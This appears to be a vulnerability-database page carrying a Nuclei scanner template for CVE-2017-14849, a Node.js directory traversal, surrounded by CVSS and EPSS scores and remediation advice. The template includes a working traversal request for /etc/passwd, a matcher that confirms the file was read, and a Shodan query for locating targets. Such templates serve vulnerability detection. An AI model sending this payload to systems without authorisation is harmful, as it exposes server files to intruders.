Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2017-14849
HistoryAug 19, 2020 - 3:34 p.m.

Node.js <8.6.0 - Directory Traversal

2020-08-1915:34:31
ProjectDiscovery
github.com
10
node.js
directory traversal
cve-2017-14849
remote attackers
unauthorized access

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

High

EPSS

0.956

Percentile

99.5%

Node.js before 8.6.0 allows remote attackers to access unintended files because a change to “…” handling is incompatible with the pathname validation used by unspecified community modules.

id: CVE-2017-14849

info:
  name: Node.js <8.6.0 - Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14849
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
    epss-score: 0.96684
    epss-percentile: 0.99644
    cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2017,cve,nodejs,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cc70e1874f9cb05ffce4e903656bec52da2f4c00911ce81bf12be3d78825a7740221008cc52739137460a82d8edee7d9310d0397e83e70cc1bd5c4934b0a662204180d:922c64590222798bb761d5b6d8e72950

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

High

EPSS

0.956

Percentile

99.5%